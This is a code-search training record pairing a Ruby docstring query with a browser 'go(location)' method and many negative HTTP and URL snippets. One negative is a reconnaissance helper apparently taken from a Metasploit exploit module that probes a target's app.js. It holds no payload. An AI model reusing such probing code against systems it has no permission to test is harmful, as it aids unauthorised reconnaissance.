[ "0.7415785", "0.73982435", "0.7389971", "0.7362739", "0.7320327", "0.7306944", "0.7032243", "0.6924672", "0.6915532", "0.67538255", "0.6713682", "0.6677867", "0.6613712", "0.6601149", "0.65201885", "0.6517126", "0.65090144", "0.63786966", "0.6308013", "0.61830354", "0.6159587", "0.6133758", "0.6096676", "0.6072513", "0.60705453", "0.6060701", "0.60589963", "0.60508525", "0.6049218", "0.60346305", "0.6028738", "0.6015917", "0.6010468", "0.5993485", "0.5993278", "0.5976018", "0.59616303", "0.595641", "0.59478116", "0.5945196", "0.59381473", "0.5929514", "0.5905247", "0.5900156", "0.58921117", "0.58901054", "0.58836454", "0.5878018", "0.5871542", "0.58584696", "0.58107454", "0.58078474", "0.5806597", "0.5786533", "0.5784878", "0.5781742", "0.5775938", "0.5771953", "0.57688713", "0.5756091", "0.57479763", "0.57193744", "0.5713987", "0.5713397", "0.57103777", "0.56806755", "0.56766856", "0.5672797", "0.5662448", "0.5655896", "0.56527257", "0.56517863", "0.56482095", "0.56406933", "0.56347483", "0.5634622", "0.5634272", "0.5615275", "0.5611055", "0.5611055", "0.5611055", "0.5611055", "0.5611055", "0.5611055", "0.56078315", "0.556844", "0.5559741", "0.5558846", "0.555816", "0.55427027", "0.5536003", "0.55337167", "0.55245626", "0.55194294", "0.55180776", "0.55177844", "0.5511636", "0.5491045", "0.5489797", "0.5476553" ]
0.8520767
0
Returns the URL of the index page (the web_base actually) This method returns nil unless the Waw application has been loaded
def index_page config && config.web_base end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def url\n if @website_file.in_blog?\n blog_folder.currentpath + @name + \"index.html\"\n else\n siteroot.currentpath + @name + \"index.html\"\n end\n end", "def url\n File.join(environment.config.url, @logical_path).sub /(index)?\\.html?$/, ''\n end", "def base_web_url(artefact)\n if [\"production\", \"test\"].include?(ENV[\"RACK_ENV\"])\n public_web_url\n else\n Plek.current.find(artefact.rendering_app || artefact.owning_app)\n end\n end", "def web_url\n return @web_url\n end", "def web_url\n return @web_url\n end", "def web_url\n return @web_url\n end", "def page_url\n @page_url ||= generate_file_name(@site.config[\"url\"], @site.config[\"baseurl\"]).chomp('index.html').chomp('.html')\n end", "def web_root\n @attributes[:web_root]\n end", "def get_application_url\n @next_url.present? ? @next_url : GlobalConstant::WebUrls.admin_dashboard\n end", "def main_url\n @main_page = @options.main_page\n @main_page_ref = nil\n if @main_page\n @main_page_ref = RDoc::Generator::AllReferences[@main_page]\n if @main_page_ref then\n @main_page_path = @main_page_ref.path\n else\n $stderr.puts \"Could not find main page #{@main_page}\"\n end\n end\n\n unless @main_page_path then\n file = @files.find { |context| context.document_self }\n @main_page_path = file.path if file\n end\n\n unless @main_page_path then\n $stderr.puts \"Couldn't find anything to document\"\n $stderr.puts \"Perhaps you've used :stopdoc: in all classes\"\n exit 1\n end\n\n @main_page_path\n end", "def web_endpoint\n File.join(@web_endpoint, \"\")\n end", "def web_endpoint\n File.join(@web_endpoint, \"\")\n end", "def web_endpoint\n File.join(@web_endpoint, \"\")\n end", "def root_page\n sitemap.find_resource_by_path(config.index_file)\n end", "def website_url; website end", "def base_url\n GlobalConstant::Base.aml_config[:search][:base_url]\n end", "def base_url\n base_href || url\n end", "def app_path\n res = send_request_cgi({\n # default.a.get( check\n 'uri' => normalize_uri(target_uri.path, 'js', 'app.js'),\n\t 'method' => 'GET'\n })\n\n if res && res.code == 200 && res.body =~ /baseURL/\n data = res.body\n #word = data.scan(/\"#{string_to_split}\"\\] = \"([\\S\\s]*?)\"/)\n base_url = data.scan(/baseURL: '\\/([\\S\\s]*?)'/)[0]\n print_status(\"baseURL: #{base_url}\")\n return base_url\n else\n fail_with(Failure::NotVulnerable, 'baseURL not found!')\n end\n end", "def webpage_url\n @response.effective_url || @webpage_request.url\n end", "def current_url\n return Knj::Web.url\n end", "def webs_app_url\n app_name = webs_appenv_name\n raise \"webs_app_url requires that the constant APP_NAME is defined.. for now...\" if app_name.blank?\n \"#{fw_sig_url}apps/#{app_name}\"\n end", "def base_path\n wiki.base_path\n end", "def web\n return @web\n end", "def main_web_view\n scroll_views[0].web_views[0]\n end", "def join_web_url\n return @join_web_url\n end", "def join_web_url\n return @join_web_url\n end", "def base\n @base = if doc\n href = doc.search('//head/base/@href')\n URI(href.to_s) unless href.nil? rescue nil\n end unless @base\n\n return nil if @base && @base.to_s().empty?\n @base\n end", "def url_for_index; end", "def url_for_index; end", "def url\n if Henshin.local?\n permalink\n else\n permalink.sub /index\\.html$/, ''\n end\n end", "def url\n Config.site.url.chomp('/') + self.path\n end", "def main_url\n main_page = @options.main_page\n\n #\n # If a main page has been specified (--main), then search for it\n # in the AllReferences array. This allows either files or classes\n # to be used for the main page.\n #\n if main_page then\n main_page_ref = RDoc::Generator::AllReferences[main_page]\n\n if main_page_ref then\n return main_page_ref.path\n else\n $stderr.puts \"Could not find main page #{main_page}\"\n end\n end\n\n #\n # No main page has been specified, so just use the README.\n #\n @files.each do |file|\n return file.path if file.name =~ /^README/\n end\n\n #\n # There's no README (shame! shame!). Just use the first file\n # that will be documented.\n #\n @files.each do |file|\n return file.path if file.document_self\n end\n\n #\n # There are no files to be documented... Something seems very wrong.\n #\n raise RDoc::Error, \"Couldn't find anything to document (perhaps :stopdoc: has been used in all classes)!\"\n end", "def landing_page_url\n svc = minter\n return nil if svc.blank?\n\n svc.respond_to?(:landing_page_url) ? svc.landing_page_url : nil\n end", "def url\n self.page.try(:url) || @url\n end", "def landing_page_url\n svc = minter\n return nil unless svc.present?\n\n svc.respond_to?(:landing_page_url) ? svc.landing_page_url : nil\n end", "def base_href\n parsed_search('base').first.attributes['href'].value rescue nil\n end", "def site_url\n get_url(:site)\n end", "def page_url\n nil\n end", "def app_url\n return @app_url\n end", "def doc_base(base)\n # find if the document has a base element\n base_el = @doc.at_css(\"html>head>base\") \n base = base_el.attribute(\"href\").to_s.split(\"#\").first if base_el\n base\n end", "def base_url\n context[:base_url] || \"/\"\n end", "def base_uri\n url = URI.parse( @config[\"portal_url\"] )\n if url.path === \"/\"\n return \"\"\n else\n return url.path\n end\n end", "def sourcehome\n site ? site.home : '#'\n end", "def home_page_url\n return @home_page_url\n end", "def url()\r\n @window_url\r\n end", "def current_url\n @rawpage.current_url\n end", "def root_url\n url '/'\n end", "def base_url\n current_base_href = base_href.to_s.strip.empty? ? nil : URL.absolutify(base_href, URL.new(url).root_url)\n current_base_href || url\n end", "def url\n page && \"/#{page.urlname}\" || read_attribute(:url).presence\n end", "def login_web_url\n return @login_web_url\n end", "def base_url\n self.class.base_url\n end", "def landing_url\n active_plugins.first_url_in_menu\n end", "def home\n @home ||= \"#{site.local_url}\"\n end", "def base_href\n parsed.search('base').first.attributes['href'].value rescue nil\n end", "def ui_base_url\n request.env[\"pactbroker.base_url\"] || \"\"\n end", "def url\n\n begin\n url = @driver.current_url\n\n rescue Exception => e\n @@logger.an_event.error \"get current url : #{e.message}\"\n raise Errors::Error.new(BROWSER_NOT_FOUND_URL, :values => {:browser => name}, :error => e)\n\n else\n @@logger.an_event.debug \"get current url : #{url}\"\n url\n end\n end", "def url_for_main; end", "def url_for_main; end", "def main_location_uri\n main_location.present? ? main_location.get_hyperlink : nil\n end", "def url\n page&.url_path || read_attribute(:url).presence\n end", "def app_uri\n @app_uri ||=\n @rack_context.getInitParameter('app.root') ||\n @rack_context.getInitParameter('rails.root') ||\n '/WEB-INF'\n end", "def url; (page.url rescue ''); end", "def url; (page.url rescue ''); end", "def index\n @index ||= Crawler::Index.new(base_uri)\n end", "def current_url\n page.current_url\n end", "def current_url\n page.current_url\n end", "def get_base\n if @data =~ /<\\s*base[^\\>]*href\\s*=\\s*[\\\"\"\\']?([^\\\"\"\\'\\s>]*).*?>/im\n # if base tag is set in the page, use it\n \n base = ($1[-1] == ?/) ? $1 : $1 + \"/\"\n \n # remove base tag\n @data.gsub!($&, \"\")\n \n base\n else\n # if not, get it from source url\n \n uri = URI.parse(@source)\n \n if uri.scheme == \"http\" \n unless uri.path[-1] == ?/\n if pos = uri.path.rindex('/')\n uri.path = uri.path[0..pos]\n else\n uri.path = nil\n end\n end\n \n URI::HTTP.build([uri.userinfo, uri.host, uri.port, uri.path, nil, nil]).to_s\n else\n nil\n end\n end\n end", "def root_url\n @response.env[:url].to_s if @response\n end", "def site_url\n SITE_URL\n end", "def url\n evaluate(\"document.location.href\")\n end", "def base_url_path; end", "def url\n\t\t\t@data[\"content_urls\"][\"desktop\"][\"page\"]\n\t\tend", "def url\n @browser.url\n end", "def index_path\n \"#{path}/index.html\"\n end", "def site_url(full: true)\n full ? root_url : \"#{request.host}:#{request.port}/\"\n end", "def site(name)\n result = call(\"Webs\", \"get_web\", \"webUrl\" => ::File.join(@url, name))\n Site.new(connection, result.xpath(\"//sp:Web\", NS).first[\"Url\"].to_s, @depth + 1)\n rescue Savon::SOAPFault\n nil\n end", "def base_url\n GlobalConstant::CompanyOtherProductUrls.kit_root_url\n end", "def default_webview_url\n if @type.eql?('git') && @connection.include?('github.com')\n \"#{@connection}/tree/#{@tag}\"\n else\n @connection\n end\n end", "def base_url\n return url\n end", "def application_url\n raise Exception.new('You need to load the configuration before using it.') if @config.nil?\n\n return @config[APPLICATION_URL_KEY]\n end", "def main_url\n homepage || linkedin || twitter_url || github_url || nil\n end", "def url\n @browser.current_url\n end", "def base_url\n # Using the X-Forwarded headers in the UI can leave the app vulnerable\n # https://www.acunetix.com/blog/articles/automated-detection-of-host-header-attacks/\n # Either use the explicitly configured base url or an empty string,\n # rather than request.base_url, which uses the X-Forwarded headers.\n env[\"pactbroker.base_url\"] || \"\"\n end", "def url\n get_attribute(Yoti::Attribute::APPLICATION_URL)\n end", "def base_url\n @url.to_s.split('?').first\n end", "def public_home_page_url(append_request_uri=false)\n url = \"http://www.#{account_domain}\"\n url << (append_request_uri ? request.request_uri : '/')\n url\n end", "def find_base\n if contents and (found = tag(\"base\", {:href => /.*/}, contents))\n ensure_uri(found[:href])\n else\n extract_base(location)\n end\n end", "def load_index_page\n @page ||= Language.current_root_page\n render template: \"alchemy/welcome\", layout: false if signup_required?\n end", "def get_url(is_local = true)\n is_local ? (return '../../../www/public/') : (return 'https://whimsy.apache.org/public/')\n end", "def guess_base_uri\n \"#{@http_request.raw_server_value('SCRIPT_NAME')}/\"\n end", "def current_url\n webdriver.current_url\n end", "def get_rack_app(env)\n puts \"<router.rb> BlocWorks::Application#get_rack_app\"\n if @router.nil?\n raise \"No routes defined\"\n end\n\n @router.look_up_url(env[\"PATH_INFO\"])\n end", "def file_path\n 'index.html'\n end", "def web_endpoint(base_url = nil)\n base_url ||= base_github_api_url_for_remote\n if /github.com/ !~ base_url\n base_url\n else\n Octokit::Default::WEB_ENDPOINT\n end\n end", "def root_url\n '.'\n end", "def check_site_index(url)\n site_match = Site.where(\"url like ?\", \"%#{url[/(http)s?:\\/\\/(?<uri>[\\w\\d\\.]+)/, \"uri\"]}%\")\n if site_match.size == 0\n @new_sites << url\n return nil\n end\n return site_match[0]\n end", "def url\n if @url\n @url\n else\n begin\n\n page_name = File.basename(self.name, '.*')\n config = @config['permalinks'][page_name]\n\n if config.is_a? String\n @url = config\n self.data['permalink'] = nil\n else\n @config['permalinks'][File.basename(self.name, '.*')] = self.data['permalink']\n end\n rescue; end\n\n super\n\n if @url && @url =~ /\\/$/\n if self.ext == '.xml'\n @url = File.join(@url, \"index.xml\")\n else\n @url = File.join(@url, \"index.html\")\n end\n end\n\n @url\n end\n end", "def web_url\n @sandbox ? \"http://www.sandbox.freelancer.com\":\"http://www.freelancer.com\"\n end", "def main_page\n find_by(url: 'http://class.rambler.ru/')\n end", "def current_url\n evaluate(\"window.top.location.href\")\n end" ]
[ "0.6724639", "0.6653207", "0.64598393", "0.6378341", "0.6378341", "0.6378341", "0.6232984", "0.6219353", "0.61208874", "0.60584456", "0.60562205", "0.60562205", "0.60562205", "0.6021297", "0.58808696", "0.5865468", "0.586272", "0.5845733", "0.58402205", "0.5838838", "0.58275497", "0.582019", "0.5806989", "0.5806986", "0.5800249", "0.5800249", "0.5784256", "0.57772917", "0.57772917", "0.5776038", "0.5742638", "0.573232", "0.5731475", "0.5721095", "0.57142717", "0.5693609", "0.56846887", "0.5681691", "0.56788427", "0.56592214", "0.5657909", "0.5653804", "0.5648838", "0.56449765", "0.56350076", "0.5632712", "0.5632601", "0.5617946", "0.5605498", "0.5585882", "0.5577733", "0.5577168", "0.5573807", "0.5570545", "0.5566157", "0.5554489", "0.55528516", "0.55528516", "0.55387425", "0.55369836", "0.55159634", "0.5500595", "0.5500595", "0.54936355", "0.548179", "0.548179", "0.548045", "0.5472128", "0.5434276", "0.5432254", "0.5429262", "0.5415191", "0.54125965", "0.5409442", "0.54082644", "0.54024667", "0.5399424", "0.5399377", "0.53986454", "0.53968585", "0.53878254", "0.53820306", "0.53795534", "0.5379131", "0.5373397", "0.5371016", "0.5366821", "0.5362352", "0.5353323", "0.5352212", "0.5346814", "0.5344334", "0.53439385", "0.53411156", "0.53384084", "0.53347135", "0.5332593", "0.5329787", "0.53294265", "0.5323173" ]
0.7930575
0
Goes to a given location and returns the HTTPResponse object
def go(location) browser.location = location browser.response end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def location\n @client.get(\"#{path}/location\")\n end", "def get(location)\n begin\n response = Net::HTTP.get_response(url(location))\n response.body if response.is_a?(Net::HTTPSuccess)\n rescue ::Timeout::Error\n raise GoogleWeather::Connection::Timeout, \"The connection timed out, please try again later.\"\n end\n end", "def http_parse_response(r, url)\n if r.is_a?(RestClient::Response)\n case r.code\n when 200..299 # success\n return r.headers[:content_location] || url\n when 300..399 # redirection\n return r.headers[:location] || url\n end\n end\n nil\n end", "def get_response(uri, limit = 5)\n response = Net::HTTP.get_response(URI(uri))\n case response\n when Net::HTTPSuccess then\n response\n when Net::HTTPRedirection then\n location = response['location']\n get_response(location, limit - 1)\n else\n response.value\n end\nend", "def resource\n if location = headers['Location']\n @client[headers['Location']]\n else\n nil\n end\n end", "def handle_response(res)\n if res.code.to_i == 201\n return res['Location']\n elsif [200,203,204,302].detect { |d| d == res.code.to_i }\n if res.body\n begin\n return JSON.load(res.body)\n rescue => e\n return res\n end\n else\n return res\n end\n else \n raise \"invalid response HTTP code: #{res.code.to_i}, #{res.code}, #{res.body}\"\n end\n end", "def redirect_location\n http_redirect? ? @get_resp.header['location'] : nil\n end", "def redirect_location\n http_redirect? ? @get_resp.header['location'] : nil\n end", "def location(url)\n headers \"Location\" => url\n end", "def process_response(response)\n case response\n when Net::HTTPFound, Net::HTTPCreated\n response['Location']\n when Net::HTTPConflict\n raise URLConflict\n when Net::HTTPNotAcceptable\n raise URLFormatError\n else\n raise InvalidResponse.new(\"Invalid Shorty Response Code: #{response.code} #{response.message}\")\n end\n end", "def locate(address)\n get :location => address\n end", "def check_response(response)\n case response\n when Net::HTTPSuccess then\n #puts response\n when Net::HTTPRedirection then\n location = response['location']\n warn \"redirected to #{location}\"\n fetch(location, limit - 1)\n else\n puts response.value\n end\nend", "def redirect_to(url)\n prepare_response do\n res['location'] = url\n res.status = 302\n end\n end", "def get_response_with_redirect(uri)\n r = Net::HTTP.get_response(uri)\n if r.code == \"301\"\n r = Net::HTTP.get_response(URI.parse(r.header['location']))\n end\n r\nend", "def getLocation( location_id)\n params = Hash.new\n params['location_id'] = location_id\n return doCurl(\"get\",\"/location\",params)\n end", "def get_web_document(url)\n uri = URI.parse(url)\n response = Net::HTTP.get_response(uri)\n\n case response \n when Net::HTTPSuccess\n return response.body\n when Net::HTTPRedirection\n return get_web_document(response['Location'])\n else\n return nil\n end\nend", "def fetch(uri_str, limit = 10)\n # You should choose a better exception.\n raise ArgumentError, 'too many HTTP redirects' if limit == 0\n response = Net::HTTP.get_response(URI(uri_str))\n case response\n when Net::HTTPSuccess then\n response\n when Net::HTTPRedirection then\n location = response['location']\n # print redirect\n redirected_to = location\n fetch(location, limit - 1)\n return redirected_to\n else\n response.value\n end\nend", "def get\n @response = Net::HTTP.get_response(URI(@url))\n end", "def location(location,types=nil)\n handle_response(get(\"/content/location.json\", :query => {:location => location,:types=>types}))\n end", "def response\n @response ||= Net::HTTP.new(uri.host).request(request)\n end", "def location\n response[\"location\"]\n end", "def get(url, referer = nil)\n response, response_time = get_response(url, referer)\n code = Integer(response.code)\n loc = url\n \n limit = REDIRECTION_LIMIT\n while response.is_a?(Net::HTTPRedirection) and limit > 0\n loc = URI(response['location'])\n loc = url.merge(loc) if loc.relative?\n response, response_time = get_response(loc, referer)\n limit -= 1\n end\n\n return response, code, loc, response_time\n end", "def get_response(uri, req)\n Net::HTTP.start(uri.hostname, uri.port){|http| http.request(req) }\nend", "def redirect_to(url)\n raise \"Already built response!\" if already_built_response?\n @res['Location'] = url\n @res.status = 302\n finalize_response(:redirect)\n end", "def get_response(uri, limit = 10)\n response = Net::HTTP.get_response(uri)\n case response\n when Net::HTTPRedirection\n if limit == 0\n response\n else\n get_response(URI.parse(response['location']), limit - 1)\n end\n else\n response\n end\nend", "def locate(location)\n get :q => location.is_a?(String) ? location : location_from_params(location).to_s, :output => 'locations'\n end", "def get_location\n as_json(get_results('/locations.json'))\n end", "def do_get url\n\t\turi = URI.parse(url)\n\t\tNet::HTTP.get_response(uri)\n\tend", "def get_response(path)\n http = create_http\n request = create_request(path)\n response = http.request(request)\n\n return response\nend", "def get_response(path)\n http = create_http\n request = create_request(path)\n response = http.request(request)\n\n return response\nend", "def make_request(url, location)\n options = {}\n options[:q] = location if location.is_a? String\n options[:id] = location if location.is_a? Integer\n if location.is_a? Array\n options[:lon] = location[0]\n options[:lat] = location[1]\n end\n\n params = {\n apikey: @api_key,\n lang: @lang,\n units: @units\n }\n params.merge! options\n\n url = \"#{OpenWeatherMap::Constants::API_URL}/#{url}?#{URI.encode_www_form(params)}\"\n\n response = Net::HTTP.get_response(URI(url))\n case response.code.to_i\n when 401 then raise OpenWeatherMap::Exceptions::Unauthorized, \"unauthorized key. API message : #{response.message}\"\n when 404 then raise OpenWeatherMap::Exceptions::UnknownLocation, \"unknown location. API message : #{location}\"\n else response.body\n end\n end", "def perform_request url\n response = self.class.get(url)\n raise NotFound.new(\"404 Not Found\") if response.respond_to?(:code) && response.not_found?\n raise InvalidAPIResponse.new(response[\"status\"][\"message\"]) if response.is_a?(Hash) && response[\"status\"]\n\n response\n end", "def retrieve_response\n session.post(url)\n end", "def get\n response = Net::HTTP.get_response(endpoint_uri)\n case response\n when Net::HTTPSuccess, Net::HTTPRedirection\n return response.body\n else \n raise response.body\n end\n end", "def http_get_auth_resource(location, username,password, depth)\n\n unless depth > 0\n @task_result.logger.log_error \"Too many redirects\"\n exit\n end\n\n uri = URI.parse(location)\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Get.new(uri.request_uri,{\"User-Agent\" => \"Intrigue!\"})\n request.basic_auth(username,password)\n response = http.request(request)\n\n if response == Net::HTTPRedirection\n @task_result.logger.log \"Redirecting to #{response['location']}\"\n http_get_auth_resource(response['location'],username,password, depth-1)\n elsif response == Net::HTTPMovedPermanently\n @task_result.logger.log \"Redirecting to #{response['location']}\"\n http_get_auth_resource(response['location'],username,password, depth-1)\n else\n @task_result.logger.log \"Got response: #{response}\"\n end\n\n response\n end", "def redirect(location, as: 302, **params)\n @connection.status = Rack::Utils.status_code(as)\n @connection.set_response_header(\"Location\", location.is_a?(Symbol) ? app.endpoints.path(location, **params) : location)\n halt\n end", "def processresponse(httpresponse)\n\n @responsecode = httpresponse.code\n case httpresponse.code\n when 201 # success condition\n @response = httpresponse.headers[:location]\n when 200 # success condition\n @response = httpresponse.headers[:location]\n\n end\n\n end", "def getFinalUrl(url)\n return Net::HTTP.get_response(URI(url))['location']\nend", "def run(req, res)\n to_run = match(req)\n if to_run.nil?\n @res.status = 302\n @res.header[\"location\"] = url\n end\nend", "def get(params = {})\n response = prepare_response(make_url(params).open('User-Agent' => USER_AGENT).read)\n check_error(response)\n return parse_response(response)\n rescue OpenURI::HTTPError => e\n check_error(prepare_response(e.io.read))\n raise\n end", "def redirect(location, status = '302'); request.redirect(location, status); end", "def fetch\n options = {\n \"url\" => @location\n }\n\n @connector.apply(:get, self, options)\n end", "def parse_redirect_location(response)\n response['location']\n end", "def call(request)\n\t\t\t\tif host = lookup(request)\n\t\t\t\t\tif @endpoint.default_port?\n\t\t\t\t\t\tlocation = \"#{@endpoint.scheme}://#{host.authority}#{request.path}\"\n\t\t\t\t\telse\n\t\t\t\t\t\tlocation = \"#{@endpoint.scheme}://#{host.authority}:#{@endpoint.port}#{request.path}\"\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\treturn Protocol::HTTP::Response[301, [['location', location]], []]\n\t\t\t\telse\n\t\t\t\t\tsuper\n\t\t\t\tend\n\t\t\tend", "def http_get(url)\n response = client.get(url, follow_redirect: true)\n\n raise HTTPClient::BadResponseError, response.reason unless HTTP::Status.successful?(response.status)\n\n response\n end", "def redirect uri, *args\n if @env[HTTP_VERSION] == 'HTTP/1.1' && @env[REQ_METHOD] != 'GET'\n status 303\n else\n status 302\n end\n\n @response[LOCATION] = url_to(uri.to_s)\n halt(*args)\n end", "def fetch(uri_str, limit = 10)\n # You should choose a better exception.\n raise ArgumentError, 'too many HTTP redirects' if limit == 0\n\n response = Net::HTTP.get_response(URI(uri_str))\n\n case response\n when Net::HTTPSuccess then\n response\n when Net::HTTPRedirection then\n location = response['location']\n warn \"redirected to #{location}\"\n fetch(location, limit - 1)\n else\n response.value\n end\nend", "def fetch(uri_str, limit = 10)\n # You should choose a better exception.\n raise ArgumentError, 'too many HTTP redirects' if limit == 0\n\n response = Net::HTTP.get_response(URI(uri_str))\n\n case response\n when Net::HTTPSuccess then\n response\n when Net::HTTPRedirection then\n location = response['location']\n warn \"redirected to #{location}\"\n fetch(location, limit - 1)\n else\n response.value\n end\nend", "def fetch(uri_str, limit = 10)\n # You should choose a better exception.\n raise ArgumentError, 'too many HTTP redirects' if limit == 0\n\n response = Net::HTTP.get_response(URI(uri_str))\n\n case response\n when Net::HTTPSuccess then\n response\n when Net::HTTPRedirection then\n location = response['location']\n warn \"redirected to #{location}\"\n fetch(location, limit - 1)\n end\nend", "def redirect_to(url, options={})\n full_url = absolute_url(url, options)\n response[LOCATION] = full_url\n respond_with 302\n full_url\n end", "def GET(uri, type, range, credentials, &block)\n get = Net::HTTP::Get.new(uri.path)\n get[\"Accept\"] = type\n get[\"Range\"] = \"bytes=#{range.min}-#{range.max}\" unless range.nil?\n\n response = submit(get, uri, credentials, &block)\n\n case response\n when Net::HTTPOK, Net::HTTPPartialContent\n return response.body\n when Net::HTTPNoContent\n return nil\n when Net::HTTPMovedTemporarily\n new_conn = redirect(response[\"location\"])\n raise ConnectionRedirectError.new(new_conn)\n else\n report_error(\"GET\", uri.path, response, credentials)\n end\n end", "def fetch(url, body=nil, headers=nil, redirect_limit=10)\n url, url_stringified = URI::parse(url), url.dup\n \n h = headers || {}\n \n raise_on_external url, @browser_getter\n \n camping_controller_with_response = (body.blank? ? get(url.request_uri, h) : post(url.request_uri, h, body))\n ::OpenID::HTTPResponse._from_net_response(FakeResponse.new(camping_controller_with_response), url_stringified)\n end", "def execute_call_plain(url)\n res = Net::HTTP.get_response(URI.parse(url))\n case res\n when Net::HTTPRedirection\n # Return the new URL\n res['location']\n when Net::HTTPSuccess\n res.body\n else\n raise TransportError.new(res)\n end\n end", "def get_response(uri)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = (uri.scheme == 'https')\n http.start do |http|\n resp, body = http.get([uri.path, uri.query].join('?'))\n end\n end", "def get_response(url)\n uri = URI(url)\n Net::HTTP.start(uri.host, uri.port, use_ssl: uri.scheme == 'https') do |http|\n request = Net::HTTP::Get.new uri\n return http.request(request).body\n end\nend", "def retrieve_response(url)\n response = response(url)\n response = response(url) unless response[:code].present?\n response\n end", "def redirect path \n full = '/' + @prefix.to_s + @version.to_s + @namespace.to_s + path\n res = Rack::Response.new\n res.redirect(full)\n res.finish\n\n #$Utter.map(full) do\n #\tputs \"Redirect: #{full}\"\n #\trun lambda { |env| [200, {\"Content-Type\" => \"application/json\"}, [$Utter.instance_exec(&block)]] }\n #end\n end", "def location (location)\n self.class.new(@path += \"location=#{location}&\")\n end", "def perform_http_request(uri, redirects = []) # :nodoc:\n request = http_request_class.new(uri.request_uri, @headers)\n request.basic_auth(@username, @password) if @username || @password\n http = instantiate_http(uri)\n response = http.start { http.request(request) }\n if @allow_redirects && response.is_a?(Net::HTTPRedirection)\n location = response_location(response)\n if redirects.size >= 5\n raise RedirectError, \"too many redirects\"\n elsif redirects.include?(location)\n raise RedirectError, \"cicular redirect\"\n elsif location.nil?\n raise RedirectError, \"redirect to unknown location\"\n else\n redirects << location\n response = perform_http_request(URI(location), redirects)\n end\n end\n response\n end", "def parse(uri, response, body); end", "def redirect(location, status_code = 302)\n location = router.path(location) if location.is_a?(Symbol)\n\n headers = response ? response.header : {}\n headers = headers.merge({'Location' => location})\n\n self.context = AppContext.new(request, Response.new('', status_code, headers))\n halt\n end", "def get_weather_page(location)\n\tclient = Weatherman::Client.new\n\tweather_page = client.lookup_by_location(location)\nend", "def uri_fetch(uri_str)\n address = URI(uri_str) \n response = Net::HTTP.get_response(address)\n case response\n when Net::HTTPSuccess then \n return response\n else\n abort \"Something went wrong... the call to #{uri_str} failed; type #{response.class}\"\n end\nend", "def locations(place)\n get :loc => place\n end", "def perform_http_request\n request_opts = { followlocation: true, ssl_verifypeer: false, timeout: 30 }\n @response = Typhoeus.get(@webpage_request.url, request_opts)\n @response && process_response_data\n @response\n end", "def raw_response\n Net::HTTP.get(endpoint)\n end", "def get(url, params={}, headers={}, redirect_limit=max_redirects)\n # parse the URL\n uri = URI.parse(url)\n # add URL parameters\n uri.query = URI.encode_www_form(params)\n\n debug(\"GET #{uri} #{headers.inspect}\")\n\n # build the http object\n http = build_http(uri)\n # build the request\n request = Net::HTTP::Get.new(uri.request_uri, headers)\n\n # send the request\n begin\n response = http.request(request)\n # handle the response\n case response\n when Net::HTTPRedirection then\n raise Net::HTTPFatalError.new(\"Too many redirects\", response) if redirect_limit == 0\n get_raw(response['location'], params, headers, redirect_limit - 1)\n else\n KineticHttpResponse.new(response)\n end\n rescue StandardError => e\n KineticHttpResponse.new(e)\n end\n end", "def get(url); end", "def http_get(_request, h_r, temp_location)\n return nil unless ::File.exist?(temp_location)\n\n h_r.update_header('Content-Type', 'application/octet-stream')\n h_r.update_header('Content-Length', ::File.size(temp_location))\n h_r.update_header('X-Sabre-Temp', 'true')\n h_r.status = 200\n h_r.body = ::File.open(temp_location, 'r')\n false\n end", "def redirect_to(url, options={})\n full_url = absolute_url(url, options)\n response[LOCATION] = full_url\n respond_with 302\n full_url\n end", "def get(request_opts = {})\n store_result(http(request_opts).get(resolved_path))\n end", "def request\n uri = URI(final_url)\n response = Net::HTTP.get(uri)\n ResponseAdapter.new(response: response)\n end", "def create_request_for_location(location)\n raise NotImplementedError\n end", "def get_json\n response = @api.request(:get, @location)\n response.body if response.status == 200\n end", "def redirect_to(url)\n unless already_built_response?\n @res[\"location\"] = url\n @res.status = 302\n @already_built_response = true\n else\n fail\n end\n session.store_session(res)\n end", "def redirect_url (response)\r\n\tif response.nil?\r\n\t\treturn\r\n\tend\r\n\tif response == ''\r\n\t\treturn\r\n\tend\r\n if response['location'].nil?\r\n response.body.match(/<a href=\\\"([^>]+)\\\">/i)[1]\r\n else\r\n response['location']\r\n end\r\n end", "def location=(loc)\n if (loc = ensure_uri(loc)).relative?\n go_relative(loc)\n else\n @location, @response = fetch(loc)\n @location\n end\n end", "def redirect_client(client, url)\n client.puts(\"HTTP/1.1 302 Found\\r\\nLocation: #{url}\\r\\n\\r\\n\")\nend", "def external_request(uri)\n require 'uri'\n require 'net/http'\n\n res = Net::HTTP.get_response(URI(uri))\n res.is_a?(Net::HTTPSuccess) ? (res.body || '{}') : nil\n rescue\n nil\n end", "def create_location response\n GeoMagic::Location.new response.parsed_response\n end", "def fetch\n def get_response url\n self.status = response = nil\n begin\n uri = URI.parse(url)\n if uri.host &&\n uri.port &&\n (http = Net::HTTP.new(uri.host, uri.port)) &&\n (request = Net::HTTP::Get.new(uri.request_uri))\n response = http.request(request)\n self.status = response.code.to_i\n else # Invalid URL\n self.status = 400\n end\n rescue Exception => e\n # If the server doesn't want to talk, we assume that the URL is okay, at least\n case e\n when Errno::ECONNRESET\n self.status = 401\n else\n self.status = -1 # Undifferentiated error during fetch, possibly a parsing problem\n end\n end\n response\n end\n\n # get_response records the status of the last HTTP access in self.status\n tried = {}\n next_try = url\n until tried[next_try]\n tried[next_try] = true\n response = get_response next_try\n case status\n when 200\n return response.body\n when 301, 302 # Redirection\n next_try = response.header[\"location\"]\n when 401 # Unauthorized\n next_try.sub! /^https/, 'http'\n end\n end\n end", "def get_location\n\n end", "def call\n conn = http_setup\n res = set_up_response(method.to_sym, uri, conn, headers ,body)\n\n response = HttpResponse.new(res)\n response.uri = uri\n raise response.error if !response.success? && !@has_retry_filter\n response\n end", "def do_request(verb, path, body = nil, headers = {}, limit = 10)\n raise SwordException, 'HTTP redirection is too deep...cannot retrieve requested path: ' + path if limit == 0\n response = request(verb, path, body, headers)\n #determine response\n case response\n when Net::HTTPSuccess then response\n when Net::HTTPRedirection then do_request(verb, response['location'], body, headers, limit - 1)\n else\n response.error!\n end\n end", "def assert_redirect(res, location)\n assert_in_array [\"301\", \"302\", \"303\", \"307\"], res.code\n assert_header res, \"Location\", location\n end", "def location(exception); end", "def location(exception); end", "def get_json(location)\n response = RestClient::Request.new(\n :method => :get,\n :url => location,\n :user => $username2,\n :password => $password2,\n 